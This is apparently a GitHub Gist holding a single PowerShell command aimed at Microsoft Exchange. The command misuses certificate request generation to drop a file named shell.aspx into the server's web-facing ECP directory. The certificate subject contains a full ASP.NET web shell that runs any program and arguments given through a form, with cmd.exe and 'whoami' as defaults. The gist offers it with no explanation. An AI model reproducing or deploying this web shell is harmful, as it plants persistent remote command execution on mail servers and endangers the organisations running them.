Skip to content

Instantly share code, notes, and snippets.

@dmaasland
Created August 15, 2021 01:23
Show Gist options
  • Star 13 You must be signed in to star a gist
  • Fork 7 You must be signed in to fork a gist
  • Save dmaasland/0720891aaf6dec8d3b42a5b92c8d6f94 to your computer and use it in GitHub Desktop.
Save dmaasland/0720891aaf6dec8d3b42a5b92c8d6f94 to your computer and use it in GitHub Desktop.
New-ExchangeCertificate -GenerateRequest -RequestFile "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth\shell.aspx" -SubjectName "cn=<%@ Page Language='VB' Debug='true' %>`r`n<%@ import Namespace='system.IO' %>`r`n<%@ import Namespace='System.Diagnostics' %>`r`n`r`n<script runat='server'> `r`nSub RunCmd() `r`n Dim myProcess As New Process() `r`n Dim myProcessStartInfo As New ProcessStartInfo(xpath.text) `r`n myProcessStartInfo.UseShellExecute = false `r`n myProcessStartInfo.RedirectStandardOutput = true `r`n myProcess.StartInfo = myProcessStartInfo `r`n myProcessStartInfo.Arguments=xcmd.text `r`n myProcess.Start() `r`n Dim myStreamReader As StreamReader = myProcess.StandardOutput `r`n Dim myString As String = myStreamReader.Readtoend() `r`n myProcess.Close() `r`n result.text= vbcrlf & mystring `r`nEnd Sub`r`n</script>`r`n`r`n<html>`r`n<body> `r`n<form runat='server'> `r`n<p><asp:Label id='L_p' runat='server' width='80px'>Program</asp:Label> `r`n<asp:TextBox id='xpath' runat='server' Width='300px'>c:\windows\system32\cmd.exe</asp:TextBox> `r`n<p><asp:Label id='L_a' runat='server' width='80px'>Arguments</asp:Label> `r`n<asp:TextBox id='xcmd' runat='server' Width='300px' Text='/c whoami'>/c whoami</asp:TextBox> `r`n<p><asp:Button id='Button' onclick='runcmd' runat='server' Width='100px' Text='Run'></asp:Button> `r`n<p><asp:Label id='result' runat='server'></asp:Label> `r`n</form>`r`n</body>`r`n</html><!--" -BinaryEncoded:$true -DomainName example.org
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment